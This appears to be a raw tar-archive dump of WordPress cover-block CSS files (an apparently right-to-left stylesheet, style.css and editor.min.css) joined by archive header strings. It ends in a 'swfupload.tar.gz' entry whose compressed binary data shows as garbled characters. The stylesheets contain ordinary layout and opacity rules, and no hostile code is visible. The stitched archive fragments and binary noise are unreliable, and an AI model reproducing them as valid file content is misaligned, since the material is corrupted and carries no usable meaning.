.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit; direction:rtl;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}style.css000064400000046302151024252110006414 0ustar00.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}editor.min.css000064400000003276151024252110007327 0ustar00.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}14338/swfupload.tar.gz000064400000005623151024420100010354 0ustar00��Zmw��ޯ�WL�9��7��v�-1�Z-���9{�>B`��FՌL��PG�X�Aڞ&��Ilk�s_5��΀�Z���W��j��ŋ��p}�l�����ɋ����8����	i~��֮XH;������j<^"����rz�vO�\���X,u���j�ΣYm)Y��8�y��.�;�;h�Sc��<%��-�D��������0�S;p�`��.��x�F�C�c��тN&�J\�1A*N����9��Hǎ��#@�=�ߑ.�~�Ͽ�ȵ�< ��Q�Q�ڂ�$�p""�\[#��/�)�[���0��ȡX���Q��3y����y���Z��0�?��ٿP2�I��i�J���R�O#�	��&�|N#:�'�Ȇ��52�(%|J���h�Haޓ�F�D�,�:�8<�/R���S��#�r�����q��4��DS�Q�fh
�����J,P�/Ed���*$d��Q#,p����b�A���Gl6��Fc`�5�s�M�7Ui���cb^�9��'��A���J5̣�#"����U���C��2)���Ŝ��L�(M�(�T�J�<�����O������e��8ՏО�;�rQ鑀KU�� \=�D$��	M
~YP¡e:��1�𞒐G��f�u�e�a�rt��������j�mb��po�ȍ5��G�Vw��.I������k�G`��7(Y��e˜ս��V���=��LS0:�t����!�6Wp�zmu���Z��u��eo@Z�����q�5 �����
f�V�r^�k�;��W#��!ëV���J�1D?���E��v`�p5"W�Nۄ��&D�z�1�+H�Ӳ�k�ݺn�`*�X���#7W&����Y�.�q��p[�,�T���5�XC,��w]+a9A����^��V��$�D��㡙$m��[�x���W���t}�k���T���d>r����/w���S���;��͞y._�u�֊f��yx �a@������PX�D�V�C���TɇǬ�ǘ����no����#>��0����,I���M��[��f�hC�B�%�0v�m�Z�K+]hp��Km��$�Ӧ�]p?D��E�
���"������P?������Ru��nf�h%�|9s-�J�t����+��u�|C���;��qH���F�6�PX�p��%����Y.�V���1独���s4��w4��'-�yʦ2]N?�IR-l&�T����Ԓ���p�Q۽�,�U�UA�D͂0�?����&����T��yv��Xe*��@��HS+h�@�����*�V��a{ +e�!��)��8�r��vl�R�=ؔ���
